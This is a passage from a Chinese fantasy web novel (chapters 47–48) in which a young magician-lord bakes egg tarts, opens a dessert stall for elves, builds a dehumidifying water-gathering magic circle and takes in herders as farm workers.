“而且精灵也从没有无故追杀过人类平民，不是吗？” 最后这句话一出，直接杀死了比赛。 在场的都不是傻瓜，以精灵军团的战斗力，如果真的有心对人类赶尽杀绝，这一带早就沦为坟冢。 而且事情都过去那么多年了，当初斗得凶的兽神联盟都逐渐开始卸下防御，褪去坚硬的外壳，不再正面冲突，反而跟精灵国度间接贸易起来…… 那可是勇猛善战的兽神联盟啊，吃肉的！ 我们就是吃草的，又何必再端着呢？ “而且……我们本来也是阿索城的后裔啊！”去送牛的两人忍不住又重申观点。 以前贵族老爷们残暴昏庸，所以祖先们为求生逃亡，没问题。 但现在既然来了一位和善的领主大人，我们听从内心的呼唤，重新归顺，难道不是理所应当的事情吗？ 不，不是归顺，是回家！ 对，就是回家！ 那里本来就该是我们的家！ 率先对这件事表示支持的长老主要负责部落中的医疗，又幽幽来了句，“春天已经过去一半，炎热的夏季即将到来，雨水、高温、雷电，都有可能爆发瘟疫……” 而且这些因素都可能导致奶牛减产，肉牛跌膘，我们能换取的药材和粮食就更少了。 “是啊，”另一人也说，“今年部落中还添了两名婴儿，另外还有三名孕妇，有几位成员也老了，都需要照顾。” 每年的夏天和冬天都是最难熬的，她们不仅要与严酷的气候做斗争，还要时刻防止野兽来袭，更别提不知该如何预防的疾病。 但如果能得到一位强大的领主庇护，一切就都不同了。 涉及到生存和种族延续，刚才还叫嚣着反对的几名成员也沉默下来。 无论历史如何，现在养牛人每年都在减员的现状显然更加残酷。 没人说话，刚还爆发过激烈争执的屋子里顿时安静得吓人，只隐约有粗重的呼吸声传来。 也不知过了多久，现任族长才叹了口气，说出了最关键的问题，“但是领主大人会愿意接受我们吗？” 这可不是三个五个，而是几十个呢！ 停顿片刻，她又抛出另一个更尖锐更严酷的现实，“别忘了，她还是一位尊贵魔法师！” 所有人的表情都凝重起来。 这片土地上已经多久没有诞生过新的人类魔法师了？又有多少人巴不得成为魔法师的奴仆？ 想要从中脱颖而出，就必须体现出自己独有的价值。 “我们可以饲养最好的牲畜！为魔法师大人献上最鲜美的牛肉，最香醇的牛奶和黄油！”前去送货的养牛人脱口说出思考许久的话，“那位前来交易的霍莉女士也说过，魔法师大人正面临人手不足的困扰，我们可以承担一切体力活儿！” 别的养牛人或许只有个模糊的概念，但她和另一位同伴曾经亲身经历那种繁华，渴望成倍增加。 只要一想到可能以后都不能继续那样的生活，她就心痛得不能呼吸！ 第47章 【捉虫】甜品店（一） 先不管养牛人部落怎么商议对策，同一时间的森林另一端，纳林霜开始室外教学，教导云漠辨认各种原材料，如何收集，如何加工，如何使用和保存。 云漠拿出120分的精力用心学习，然后愕然发现了许多平替？！ 就拿纳林霜树屋中那个木系水系双重魔法恒温系统来说，其实完全可以用某些植物的汁液和水生生物的血液当墨水书写铭文，进而绘制魔法阵，效果基本一样。 唯一的缺点就是低等魔法生物体内杂质很多，远不如魔法原石粉末来的纯粹，所以持续的时间不长，多在几个到几十个小时不等，然后就会慢慢失效。 哦，另外气味也不好闻，一次性铭文绘制过多，可能臭气熏天引来蚊蝇…… 这是嗅觉灵敏的洁癖精灵们无法容忍的。 但这也足以证明纳林霜老师口口声声的“只会更贵”是个彻头彻尾的骗局！ 云漠对此非常愤慨，在某次银星前来做客时当面告状。 谁知银星反而笑起来，“不然你以为一位铭文大师的恶名是怎么来的呢？” 仅仅是因为不喜欢社交，性情冷淡吗？ 当然不是啦！ 一旁的纳林霜瞥了老友一眼，并未反驳。 熟悉的生物都能看出，这位铭文此刻的心情很不错。 云漠：“……” 干，被套路了！ 现在云漠的精神力稳步提升，魔法运用越来越流畅，每隔半个月就会回家一次，既让家人放心，也进一步将魔法应用到实践中去。 “穿越元年，7月13日阴，体感微热……昨天的暴雨过后，水位激增，水车开始自动旋转……水系魔法元素空前活跃，我开始尝试练习水系魔法，但尝试共鸣时明显不如木系流畅，总觉得隔了点什么……” 写到这里，云漠停顿了下，明显有些苦恼。 她揉了揉脸颊，索性起身来到窗边，看着远处绵延的山峦出神。 唉，该说隔行如隔山吗？ 照现在的进步速度推算下去，如果没有意外，她少说还能再活个三五百年。 在这漫长的生命当中，她所熟悉的人物都将渐渐老迈，甚至离她而去，无论当下多么璀璨，多么记忆深刻的时光和经历，都会如蒙尘的珍珠一般，逐渐掩埋于沙滩，消失于漫漫岁月长河之中。 再次翻看起从六角藏书室那边摘抄的笔记时，云漠突然对未知的将来感到恐惧。 并非恐惧死亡，而是恐惧遗忘。 她怕忘了自己来自哪里。 所以从上个月开始，云漠开始用汉语写日记。 说来荒唐，曾经使用人数最多的国际语言，到了这里，却成了只有云漠自己认识的一座孤坟。 不过也有好处，哪怕被人发现，也不知道她究竟写了什么。 就把一切当成是只有她自己才能解开的秘密吧。 写日记需要记录日期，然后云漠发现大部分回归游民和部落状态的人们其实并不怎么频繁使用历法。 相反的，她们更多倾向于利用自然界发生的各种现象，或者某些共同经历的大事件作为锚点和计时工具。 比如前年的第一场雪，去年的第一场雷，今年冷水河第一次化冻奔流，上次月圆时等等。 然后又根据各自部族的具体生活进一步细分，比如藤部落的“收割麦穗时”，虎部落的“打到今年的第一头野猪时”，养牛人们“见证第3头小牛犊诞生时”…… 这些现象与人们的日常生活息息相关，往往是某些重要的时刻，充满了浓郁的生机，非常便于回忆。 云漠先是有些不适应，然后便坦然接受了。 历法是人类文明结晶的代表之作，需要专业人才长期且稳定的观察和纠正，并由官方权威机构按时发布。 但现在这些人早已远离了国家这种大型组织，自然没有人持续修正历法，所以历法，也就从她们的生活中渐渐淡去。 一切结果都有迹可循，发生得那样自然，那样悄无声息。 就连云漠自己，现在用的也是后世典型的“一三五七八十腊，三十一天永不差”。 且不说这个口诀也无法全面应对个别月份的细微变动，当下这个时空宇宙的分布也与她熟悉的时空截然不同，历法年月日的长短明摆着有错误…… 但她实在不能做更多，就这么凑合着用吧。 云漠甚至开始重拾不怎么样的拙劣画技，尝试为自己留下一点图画资料。 可惜画出来的东西跟她想象的完全是两码事，一个是绝世美女，一个是腐朽骷髅。 失落之余，她不禁异想天开，想着会不会有哪种魔法或者是炼金手段，可以像后视的摄像机一样如实留下影像资料呢？ “小姐，吃饭啦！” 霍莉的喊声打断了云漠的天马行空。 “来了！” 她收好笔记本，转身走出去。 因为魔法进步，云漠浪费的赶路上的时间越来越少，每次回家都能住两晚再回去，大家都很高兴。 七月中旬的傍晚，空气都是柔和的，茂密的草地上开满了各色野花，就连空气中也浮动着淡淡芬芳。 这是最适合在户外用餐的时节。 云漠出来时，大河和小河正在端菜，玛雅姨妈则在一旁趁着最后的落日余晖缝制皮毛。 毛茸茸的皮草看上去跟温暖舒适的气候一点儿也不协调，但针线活儿就是这样，得提前预备，真到用的时候才做就来不及了。 之前为了修水渠捣毁了几十个兔子窝，抓了一二百兔子，收获堆积如山，直到最近才慢慢把兔子皮硝制出来。 有这么多兔皮打底，冬天就更好过了。 躯干处的长方形毛坯根据花色和厚度，分门别类归置好，可以做成薄袄。 剩下的四五百块腿部和尾巴的皮毛不大，但也很完整，丢了怪可惜的，玛雅姨妈就在闲暇时间带着几个小丫头将它们修剪整齐，拼接成小褥子，也很实用。 玛雅姨妈没太多烹饪天分，但针线活儿十分出色，之前送给云漠的玫瑰花珍珠手链就是最好的证明。 “这算什么？我还会编制蕾丝花边呢！” 玛雅姨妈骄傲地说。 她对色彩和拼接有着超乎常人的敏感度，再普通的材料到了她手中都会大变样。 明明是细碎的腿部和尾部皮毛，但经过玛雅姨妈的精心排布，竟然就成了一块块漂亮的渐变色菱形拼接坐垫！ 云漠看得眼热，也兴冲冲凑上去缝了几针，然后就被忍无可忍的玛雅姨妈撵走了。 “去去去！”玛雅姨妈好气又好笑地驱逐着，“你不帮忙，我明天就能完活儿；你要是帮忙呀，恐怕得下个月喽！” 云漠没有贵族架子，慷慨又热心，大家都不害怕她，听了这话，霍莉和大小河两姐妹都跟着笑起来。 领主大人有点心虚，讪讪地挪开视线。 四周的劳动成果很好的抚慰了她脆弱的心灵。 这些日子以来，她在城堡和农田四周围起细密的篱笆，又催生了很多药材备用，期间竟然“偶遇”了一次来送货的养牛人。 当时霍莉说：“天气越来越热，现在小花已经不怎么产奶了，新来的母牛也没生崽，家里已经快没黄油可用了。上个月您回去不久，养牛人就又来了一次，看了几头牛的情况后就说想用黄油交换一点药材，还问可不可以将这作为长期贸易。夫人觉得没什么问题，就先答应了。” 云漠点头，“姨妈对外应酬很有一套，这些事她做主就好。” 她最近可没听说哪里又闹起疫病，上次交易所得的药材足够养牛人用一段时间了。 可对方竟然一反常态主动来要求交易……醉翁之意不在酒呀。 显然她们心动了，但出于种种原因又不好意思开口请求施舍，只能这样迂回地表达自己的诚意…… 挺好的，云漠也不喜欢软骨头。 于是在双方心照不宣的情况下，这场额外的黄油贸易便悄然开展起来。 有了足够的黄油，大家的餐桌状况得到极大改善，需要海量黄油和鸡蛋来烘焙的蛋挞也开始频繁出现。 哦，瞧，今天的餐后甜点就是酸梅果酱和原味蛋挞。 酸梅是最近刚发现的野果，每颗都有花生米那么大，皮有点厚，味道也有点过于酸涩，但加入麦芽糖熬煮后就成了一种非常可口的果酱。 酸梅果树数量很多，大小河两姐妹隔几天就去摘一些回来。 霍莉将它们熬成果酱，拿来抹面包、做蛋挞都很好。 云漠什么口味的蛋挞都很喜欢，玛雅姨妈则更喜欢原味的。 “哦，我已经不年轻了，要时刻告诉自己不要摄入太多甜食，不然牙齿会烂掉的……” 牙齿是生存的根本，底层社会根本没有牙医这个职业，而上流社会的牙医则令人恐惧： 生拔，先用榔头敲碎，然后生拔。 因此而丧命的人不在少数，几乎人人闻风丧胆。 于是云漠再次强调了按时刷牙的重要性。 现在没有成熟的牙膏，大家用的都是藤部落做的原始膏体，效果不错，但黑乎乎臭烘烘粘嗒嗒，口感过于刺激，甚至有点恶心…… 但恶心总比一口烂牙好得多。 经常试图逃脱的霍莉和大小河都被唬住了，苍白着脸答应下来，承诺以后会坚持每顿饭后都按时刷牙。 晚餐结束后，大家一起收拾餐具，霍莉犹豫着说，“小姐，那口罐子好像生虫了，臭得吓人。” 上次回来时，云漠就试着发酵了点黄豆，想看看能不能酿出酱油来，结果一回来就听到这样的噩耗，真是晴天霹雳。 损失黄豆倒不要紧，以她现在的魔法实力，要多少有多少。 关键是盐啊！ 海螺部落最早也要两个月后才来，夏天又是盐分流失最严重的季节，剩下的那几斤盐可不够她再这么折腾了。 算了，等秋天以后再说吧！ 反正这么久没吃酱油，也已经有点习惯了。 霍莉帮着她把失败品处理干净，一起哀悼了一下损失的盐，又说起最近和精灵的交易，“天气越来越热，林子里的水果越来越多，我这几天又摘了几种，照着您教的方法熬成果酱，做了果汁软糖。 精灵们很喜欢，还主动帮忙在那条支流上用魔法架了一座拱桥……” 最近雨水增多，水位激增，已经比一匹马还深了，如果没有这座桥，精灵们就要越界过河。 天气热起来之后，精灵们就把午休时间拉长，而前来交易的精灵商队也很喜欢原地休息一下，吃点东西，睡个午觉什么的。 说起来，霍莉还有些兴奋，“前几天我还被邀请一起喝茶呢！” 云漠也跟着笑，“那你喝了吗？” 霍莉嘿嘿点头，“喝了！” 真好喝！ 说完，两人一起大笑。 “孩子，”玛雅姨妈走进来，加入了她们的对话，“是否要将蛋挞加入贸易清单呢？” 鸡鸭越来越多，每天产的蛋她们几个已经吃不完了，天热，又容易坏，玛雅姨妈就做主不让它们孵蛋了。 但这样一来，剩余就更多了。 云漠去厨房一看，果然已经攒了满满一篮子鸡蛋鸭蛋。 她拿出上次买的盐，谨慎地计算好用量，腌了一坛子咸蛋。 照现在这个天气，下次回来就能吃了。 剩下那点盐真的不能再浪费了，这次就当久违的小奢侈吧！ 如果腌蛋顺利的话，以后多买点盐，可以烤蛋黄酥吃。 嗯，卖给精灵！ 那个是真的肉眼可见的复杂，价格可以高一点。 不过如果要长期做这个买卖，就要加大跟海螺部落的贸易量，可能每年食盐的需求量就要几百斤，也算三得利的事。 至于蛋挞…… 蛋挞好吃，但确实不方便保存和运输，可不往外卖实在可惜。 “这样好了，”云漠想了下，对霍莉说，“明天我也陪你去交易，顺便将交易地点的屋子扩建下……” 现在跟精灵族的交易是固定二十天一次，双方都在交易点建了小屋，交易结束后都会在那里简单休息下再走。 几个月下来，那里差不多已经成了精灵族默认的中转休息站。 有时不参与贸易的巡逻队成员们也会去那里歇歇脚，煮一壶茶喝，吃些点心什么的。 云漠就想，干脆在那里开一家甜品站好啦！ 每次过去交货时都带一点现烤的蛋挞、奶油派之类的，哦，还可以加一点焦糖牛奶布丁！ 官方贸易已经稳定下来，那么民间的私人消费呢？ 也不要落后嘛！ 玛雅姨妈和霍莉都觉得这个主意不错。 “其实我还挺喜欢跟精灵们打交道的，”霍莉声音愉快地说，“非常赏心悦目，而且又慷慨大方。” 当然，前提是不主动招惹。 每次想到这一点，霍莉都觉得当年的阿索城城主一家，甚至是现在好多王室贵族的脑子都有毛病。 大家和平共处不好吗？ 为什么一定要惹事呢？ 真是傻瓜！ 日次一早，东边天际刚刚泛起一抹鱼肚白，大家就忙活起来了。 麦芽糖、龙须酥和果汁软糖都已经提前做好了，只需要现烤一点热乎乎香喷喷的蛋挞就好了。 牛奶布丁需要长时间冷却，今天有点匆忙，来不及，只好留待下次。 不过这样也好，时时有惊喜。 五个人总动员： 玛雅姨妈制作蛋挞皮，云漠和霍莉搅拌蛋挞液，大河和小河两姐妹来回跑腿儿、计时、添柴火。 淡青色的炊烟迅速消散在晨风中，很快，城堡里就充满了烘焙时特有的甜香。 小河用力吸了口气，肚子咕噜噜叫起来。 霍莉笑出声，“饿了吧？” 小姑娘害羞的捂住肚子，大声道：“不饿！” 话音刚落，又是一阵咕噜。 云漠伸手捏了捏她软乎乎的小脸蛋儿，“其实我也饿了，第一炉马上就好，今天早上我们就吃那个吧。” “真的吗？！” 小河的眼睛都开始放光了。 她可从没在早上吃过蛋挞呢！ “当然是真的。” 云漠嘻嘻笑着说。 早餐不仅有香酥可口，甜美嫩滑的蛋挞，还有蓬松柔软的面包和果酱。 另外，还有一只黄油罐子，可以涂抹在面包上，更好吃。 养牛人们归顺的心思几乎写在脸上，现在云漠等人的生活中已经完全不缺黄油了。 午餐结束后，云漠与霍莉一起赶往交易点。 令人惊喜的是，今天三精集团也在。 双方尚未碰头，紫叶便率先仰起脸来，仔细分辨着陌生的香味： 哇哦，有惊喜！ 云漠和三精集团相互问候，又取出蛋挞来试吃，并说了开设甜品站的打算。 精灵们注重享受追求生活质量，每次出来都算个苦差事，也很喜欢这个主意。 紫叶更是一边用尖尖的虎牙咬着蛋挞，一边含糊不清地说：“早该这样了……” 呼呼，有点烫。 人类贪婪自大，很不好。 但人类善于思考，喜欢琢磨，又有点好……精灵这么想着。 蛋挞一经问世，便获得全面好评。 瑟琳还问云漠，“为什么不将这种叫蛋挞的东西加入贸易清单呢？” 所有精灵都会喜欢的！ 云漠就把原因解释了一番，“……不过如果你们强行要求外带的话，我们也不会阻止的哦！” 纯人工的生产力有点拉跨，云漠又长期不在家，玛雅姨妈四人已经够累了，暂时实在接不了蛋挞的大单。 还是这么零售吧，先到先得！ 瑟琳表示理解，惋惜之余，主动购买了几只。 云漠挑了一只最大的，然后等瑟琳吃得开心时突然发起暴击，“作业完成了吗？” 瑟琳一直对铭文很感兴趣，奈何天份有限，没有正式拜师。 后来跟云漠交好，一人一精经常在集市那边的树屋碰面，探讨铭文。 在这门学问上，云漠可谓后发先至，也不吝啬于指点，于是经常给瑟琳布置作业。 然后精灵经常完不成…… 瑟琳：“……” 美丽的精灵手中还捧着半块蛋挞，但漂亮脸蛋已经沮丧起来，向着人类控诉道：“你真是魔鬼。” 魔鬼领主和紫叶等无良同僚一起放声大笑。 第48章 【捉虫】建设 从初春开始，浩瀚森林就迎来新一轮的收获季节，野草莓、桑葚、樱桃、杏子、李子、桃子等等，接二连三的冒出来。 然后是夏日的庄稼收割，秋日的动物狩猎等。 收获的喜悦可以一直延续到秋末甚至初冬的坚果们，等摘完松子，冬天就要来了。 这期间的半年，都被忙碌的采集工作塞得满满当当。 云漠和玛雅姨妈她们摘了许多野果，哪怕不认识的，只要有小动物啃食的痕迹，确认无毒，她们都会摘下来尝尝。 这片区域过去那么多年都无人踏足，野物疯长。 她们自认为吃了很多，但根本吃不完。 水果这种东西都是扎堆儿熟的，又很娇气，沾了雨水、磕了碰了，转眼就烂掉。 甚至哪怕放着不动，也会“自杀”。 这可把霍莉心疼坏了，每天都在玛雅姨妈耳边疯狂唠叨，“……太浪费了……又烂了很多，那些可恶的松鼠都开始挑食了！” 不仅浪费，腐烂的水果还会滋生蚊虫，非常恶心。 跟精灵接触的多了，霍莉也日渐讲究起来。 玛雅姨妈：“……” 虽然聒噪，但确实有道理。 于是她们便会赶在每天太阳升起来之前，挎着篮子出去采摘，要么带回来熬成果酱，要么烤成甜美的水果派。 果酱可以烤蛋挞，也可以抹面包，用途很广，虽然保质期短，但每次都能吃完。 至于完整的水果，就切成厚片烤成果干，树叶包裹后用泥巴和蜡密封起来，留到冬天慢慢吃，既不浪费，又能在食物匮乏的日子里补充必需的营养。 枝头剩下的和地上成熟掉落的，已经足够留给小动物们吃了。 七月底云漠回来，玛雅姨妈就一天三顿变着花样烤水果派！ 还摆出来满满几大袋厚实的水果干！ “天气热，难免胃口不好，”玛雅姨妈对云漠说，“你一个人在外面，如果实在懒得做饭，吃点果干也不错。” 云漠打开袋子吃了两块，果然真材实料、厚重扎实，特别有嚼劲。 不过也不能多吃，腮帮子疼。 她也跟着出去摘了两次水果。 很多果子长得太高，站在地上够不到，以前的云漠或许只能干瞪眼，但现在她就可以操纵藤蔓摘下来。 就像当初纳林霜老师用藤蔓开关门、拿取书本一样。 非常好用！ 所有人都热情地赞美着她的手段，让云漠得到极大的满足。 她发现没有外力干涉下，果树们的发型都跟托尼有一拼，非常狂野，便动手修剪一番。 果树跟灰杉之类的无果植株不同，如果不控制枝条数量和长度，就没有多余的养分供应给果实了。 有几棵果树被虫子啃得很严重，或是底部土壤松软了，在风中摇摇欲坠，云漠也认真帮它们除虫、加固。 嗨，现在的她已经是名非常合格的森林医生啦！ 可惜大部分果树的“外语天赋”都不高，云漠无法与它们直接交流，但依旧能感受到真诚的谢意。 你保我健康，我回赠给你鲜美的果实，这样就很好。 熟能生巧，现在玛雅姨妈最擅长的技能变成了烤蜜桃派！ 因为养牛人的主动合作，现在家里的黄油储备充足到不行，做起甜点来也格外慷慨。 野生桃子空口吃其实有点酸，但玛雅姨妈加入足量的糖，将派皮烤得金灿灿香喷喷的，桃子馅儿就变得酸甜可口、柔嫩多汁起来，叫人欲罢不能，吃了一块又一块。 各种“派”是很经典的传统食物，精灵自己就会做，不算稀罕，无法贸易，所以这些东西基本都是做了自己吃。 云漠每次回来都被疯狂投喂，从草莓派、樱桃派一直吃到各种口味和造型的蜜桃派，感觉毛孔里都能渗出蜜糖。 发育期中的姑娘很需要这种高热量，吃下去的都被学习带来的可怕消耗带走了，她根本来不及发胖。 云漠有空就去厨房帮着挑选食材，熟透的赶紧吃掉，没熟的可以再放几天。 养牛人有时候也会送来发酵过的酸奶，很酸，非常酸！ 但加点麦芽糖后拿来拌水果特别好吃！ 吃剩下的果核也不浪费。 口感最好的里面筛一遍，生命力旺盛的核就单独留下来，尝试着种在城堡边。 春天开花好看，夏天结果子好吃，冬天还可以捡拾枯枝落叶生火，一举多得的事情。 在这种热闹的协作生产氛围下，云漠交出了人生中第一份正式铭文作业： 魔法阵【集水】。 之前说过，云漠继承到的城堡原本是一座瞭望塔，窗子很小，导致采光和通风都很差。 干爽的春秋倒还没什么，可阿索城被森林和山脉包围，夏天和冬天都潮湿得要命。 她们来时冬天已经快要过去，也没什么存粮，实在不必担心返潮，但现在？ 当小河从厨房的柜子腿上采到蘑菇，霍莉尖叫着抱出一条发霉的面包时，云漠就知道该自己上场了！ 魔法阵【集水】，顾名思义，收集空气中的纯水。 这个技能在野外可以救命，但在靠近水源的地方多少有点鸡肋。 可俗话说得好，很多东西不是不好用，而是你不会用。 现在，云漠就用这个魔法除湿，效果倍儿棒！ 这是个纯粹的跨界水系魔法，放在接触六角藏书室之前，云漠根本不敢伸手。 但现在？ 托前辈们各色笔记和纳林霜老师精心提点的福，云漠对水系魔法的领悟上了个新台阶，虽还用不来什么高深的技巧，但【集水】这种纯粹引导类的初级魔法却可以试一试。 几场大雨过后，本该干爽的衣物都吸饱水分，空气也变得湿漉漉的。 出门走两步，衣服就贴在皮肤上，粘嗒嗒的令人烦躁。 现在哪怕不特意调动精神力感应，云漠都能感觉到丰沛的水系魔法元素。 太泛滥，也太活跃了。 它们就像调皮的孩子，玩儿疯了，又无人出面制止，一个劲儿地恶作剧。 云漠决定“教训”它们一下。 她用几种常见的魔法材料调出墨水，失败了两次后，成功绘制出【集水】魔法阵。 几个月的努力没有白费，厚积薄发的时刻到了。 仅魔法师肉眼可见的蓝色荧光亮起，空气中游弋泛滥的水元素突然就受到召唤，开始沿着特定回路聚集起来。 安置在魔法阵中央的大陶罐内，终于出现了第一滴水，“哒！” 然后是第二滴，第三滴…… 次日一早，所有人都清晰地感受到了变化，玛雅姨妈更是惊喜地摸着被褥说：“老天，终于干了！” 她高兴地搂着云漠夸个不停，“真是了不起的孩子！” 霍莉也久违地摸着干爽的皮肤说：“昨晚睡得真好！” 热，不好受； 闷，不好受； 潮湿，更不好受。 而这些天又热又闷又潮！所有人每晚都被热醒好几次！ 一夜过去，魔法阵中央的陶罐竟然就收集到足足一罐子水，差不多有10升的样子！ 可见潮湿成什么样子了！ 大河和小河姐妹俩熟练地用崇拜的目光注视着云漠，“领主大人好厉害！” “罐子里的水要倒掉吗？看上去好清澈。” “不用，”云漠摸冬瓜一样撸了撸姐妹俩的脑瓜，“这个魔法本来就是取水用的。” 小河很喜欢被摸脑袋，后面云漠停下时，小姑娘还意犹未尽地主动用脑瓜蹭她的手掌，像一只渴求爱抚的小猫咪。 魔法阵萃取到的可是货真价实的纯水，成分跟现代社会的蒸馏水没什么区别，比水车带来的河水干净多了！ 云漠对这个结果非常满意，决定回去后也在自己的小树屋里搞一个一样的。 在极度潮湿的环境下，【集水】的魔力消耗并不大，这种墨水绘制的铭文差不多能维持10天左右，下次回来刚好补上，便宜又好用。 只是仍有不足。 如果能成功破解水系变异魔法，冰系魔法的奥秘，夏天就好过了…… 魔法世界实在令人着迷，云漠了解的越多就越沉伦。 她现在已经完全陷入到这门深奥的学问中去了。 每种魔法都各有特色。 木系主生机，实用，能吃饱，能治病，也能杀人； 而水和风，无处不在。 哪怕植物绝迹的沙漠，深埋的地下也蕴藏着丰富的水元素，至于风……有空气的地方就有风。 啊，风！ 魔法师们修炼到一定程度后，就能实现与魔法元素的绝对共鸣，进而获得它们的部分属性，比如，悬浮。 在对应的魔法元素浓郁之处，强大的魔法师是可以以消耗精神力为代价飞行的。 简而言之，就是后期的魔法师身体被魔法元素彻底改造，半元素化，可以短时间内混在元素群中“滥竽充数”一下。 而说到飞行能力，风系魔法师当数第一。 她们甚至不用多么强大，就能借助某些风系魔法飞起来！ 这可太令人羡慕了！ 纳林霜对风系魔法也有一定造诣，云漠没少请教。 只是风系魔法元素与水系不同，跨度太大了，迄今为止，云漠未能得到一次回应。 “冬天，冬天旷野上会掀起狂风，也是这里一年之中风系魔法元素最活跃的季节，”纳林霜说，“你可以到秋末冬初再试试。” 夏天的成功率太低了，还不如集中精力攻克水系魔法。 魔法跨界就是这样，天赋方面已经短板，只能在别的方面补足，而魔法元素的活跃程度是至关重要的一环。 云漠选择听话。 在此期间，她的树屋边还迎来了春末夏初的第二次集市。 但她忙于学习，最期盼的海螺部落也没有来，过了第一次的新鲜劲儿后就觉得有点没意思，只跟藤部落和虎部落交易了布料和肉干，然后就不管了。 但两家土豪对新增的甜品非常感兴趣，要了不少。 这种新鲜的点心神明也一定会喜欢的，刚好可以拿来祭祀。 兽神联盟的几个部落都盛产战士，消耗极大，对这种高热量食物尤其热爱，又富裕，便请石斧代为转达了长期采买的意向。 云漠乐得给自家揽生意，告诉了她们甜品店的位置。 但一听精灵也会去，众人的脸色就有些不大好。 谁愿意跟那些臭屁精灵们挤在一起啊！ 云漠失笑，“你们可以错开嘛！” 现在可不提供外卖上门的服务！ 也只好如此了。 不过次数多了，双方难免遭遇。 据霍莉描述，第一次遭遇发生在八月初。 那次兽神联盟的人来晚了，精灵们又来早了，然后就在甜品店外面撞了个正着。 “打起来了？”云漠追问。 “那倒没有。”霍莉一脸劫后余生的摇头。 她可是见识过兽神联盟的人们切磋的，一旦打上头半兽化，恐怕甜品店都要化为废墟！ 云漠就哦了声，“那就不用管。” 双方确实没打起来，但进行了比较深入的语言交流，相互赠送了海量石块和箭矢，充分交换了意见，最终达成共识…… 不过比起听八卦，眼下还有更重要的事需要解决： 割麦子！ 虽然只有一亩地，但随着与精灵贸易的持续展开，玛雅姨妈等人的劳动量也在增加，根本腾不出人手来。 大部分现代人对一亩地没有概念，觉得就那么点儿，随便动动手指就做完了吧？ 错，大错特错！ 一亩地接近667平米，而现代人可能攒一辈子钱才能买个100平米的家，然后挤进去一家四口甚至更多。 平时大家开着空调做一次大扫除就累得半死不活，而割麦只能在烈日炎炎的室外进行，全程弯腰，同时还要忍受麦芒划过皮肉带来的瘙痒和刺痛…… 于是养牛人再来送黄油时，玛雅姨妈就按照云漠的意思跟她们说，这边需要雇佣人手干活，问养牛人部落有没有愿意来的。 “来这边之后，你们将受到领主大人的庇护，供给吃穿和足够的药材，每个月还能得到一些福利……” 天晓得养牛人部落盼这句话盼了多久，当场答应下来。 然而惊喜尚未结束。 就听玛雅姨妈继续说：“接下来我们会扩大种植面积，如果你们喜欢这种安排，或许可以选择真正留下来生活。日常照旧，并且可以领一部分粮食和蔬菜种子，领主大人会教导你们如何耕种，而你们只需要缴纳所得的三成作为回报就可以了。” 三成？！ 养牛人惊呆了，竟然只要三成？！ 其实以前她们的祖先在阿索城生活时，跟贵族老爷的分成也是三七开，只不过贵族老爷们取七，留到她们手里的才是三。 玛雅姨妈再次确认，“是的，只要三成，奶制品和牛肉也算在内，还要帮忙做些重活儿、照料药田。” 就是这些枯燥的农活儿最累人，只要能解脱出来，她们就能专心熬糖、做甜品了。 三成，日常消耗之外已经可以有剩余了。 至于其他的，完全可以用卖甜品的所得对外交换，赚取大量差价，可比单纯的耕种实惠多啦！ 那孩子说过，这叫什么来着？ 哦，各取所需。 “当然当然！”养牛人点头如啄米。 竟然还有药田！ 啊，有救了！ 第1次要了4个人。 云漠这边解决了劳动力短缺，养牛人则终于保全了最后一点尊严，初步实现靠拢，已经是非常好的开端了。 今年小麦种得不多，但夏秋季节正是蔬菜生长的好时候，玛雅姨妈也已经决定扩建菜园，为冬季储备菜蔬做准备，正好让他们来干农活。 等到明年开春会开更大的农田，种更多蔬菜和药材，更忙不过来。 养牛人部落的回归指日可待。 四个壮劳力带着属于她们的牛美滋滋到来，到了之后……更美了！ 跟着领主大人混，不仅风险低、回报高，而且还不用担心被外面的人类欺负、野兽追杀，简直太开心了！ 她们的工作很简单，每天早上把牛马带出去吃草，派一个人看管，其他人就去割麦子、照料菜园，按照指示给药田浇浇水除除草什么的。 哦，药田，可爱的可靠的可贵的药田！ 药田，健康的保障，生命的源泉！ 四名养牛人看着药田的目光都洋溢着喜悦，恨不得像伺候祖宗那样周到。 云漠讲解注意事项时，一个个都竖起耳朵，严肃得像要上战场。 至于放牧，根本不用远去，也不用担心附近的牧草吃光！ 因为领主大人经常会回来，只要抬抬手指，吃光的牧草就会重新长出来。 牛马们都习惯了，根本不会往远处走。 在它们简单的小脑瓜看来，这是一片神奇的牧场，鲜嫩多汁的青草吃不完，根本吃不完！ 养牛人们看得眼泪都快掉下来了。 会魔法真好啊！ 如果她们的部落有人会魔法，哪里用得着到处流浪迁徙呢？还要跟各种可怕的野兽争抢地盘…… 割下的小麦带壳晒干，就可以放到【集水】魔法阵隔壁的粮仓里了。 储存粮食一定要带壳，不仅能留种，做好措施能放好几年呢。 存放一段时间后，养牛人每天磨出三五天内要吃的面粉，其余的依旧带着壳放着。 刚下来的面粉并不好吃，水分大、发黏，而且也没有筋骨，做出来的东西都软趴趴不成形，至少要放几十天才达到最佳口感。 趁这个空档，正好把之前跟藤部落兑换的粮食吃完，就能接上新的了。 不过现在人口多，种的少，肯定也吃不到冬天，还得跟藤部落换。 等什么时候养牛人部落全都归顺，真正大片大片的种地了，食物也就能基本实现自给自足了。 不用提心吊胆四处迁徙，割完麦子之后，4个养牛人都有点闲得浑身发痒。 于是，她们也顺理成章地把采集工作抢了过来，贡献了大量蘑菇干…… 随着天气渐渐炎热，交易量逐渐增多，霍莉等人一日之内往返奔波变得不现实，需要在甜点屋那边住两天。 既然住宿，就需要做饭。 精灵们明显对人类，确切的说是云漠领地内的菜单非常感兴趣。 托木系魔法的福，不管粮食还是蔬菜都茁壮成长，产量很高。 其中最突出的就是原始茄子和酷似豆角的东西，一茬接一茬，玩儿命似的长，看得人头都大了。 原始茄子个头大，但是皮很厚。 曾经有几个摘晚了，一夜之间就变得像橡胶一样结实，下锅炖煮，哪怕果肉都烂成泥了，茄子皮还那么坚/挺。 小河嚼了半天嚼不烂，还天真的问：“领主大人，可以用来糊墙嘛？” 但只要摘得早，肥厚的果皮就很水灵，指甲盖一掐就噗的一声破了。 简单爆炒之后，厚重的果皮就会艮啾啾的，反而变成另一种独特的风味。 像豆角的豆类云漠还是叫它豆角。 它的样子很像后世的长豆角，不过豆荚中豆子的体型却更像荷兰豆和蚕豆，非常之大。 这种豆角的皮和豆子都很好吃。 但如果直接掰成小段炒就完蛋了！ 因为外皮和豆子绝不会同时熟，往往外皮都烂成泥了，里面的豆子还夹生。 这里的人习惯把豆子单独剥出来水煮，做成豆子泥，肥厚的豆角皮单独加肉炒，成品的味道介于后世豆角和芸豆之间，很好吃。 就是那个豆子泥…… 